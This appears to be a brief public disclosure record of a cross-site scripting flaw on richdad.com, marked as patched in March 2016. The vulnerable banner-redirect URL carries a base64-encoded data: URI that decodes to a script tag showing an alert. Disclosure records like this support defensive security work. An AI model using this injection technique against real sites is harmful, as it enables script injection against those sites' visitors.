richdad.com XSS vulnerability

Vulnerable URL: http://www.richdad.com/CMSModules/BannerManagement/CMSPages/BannerRedirect.ashx?bannerID=94=data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTUE9TRUQvKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| Yes, at 10.03.2016 Latest check for patch:| 10.03.2016 07:59 GMT...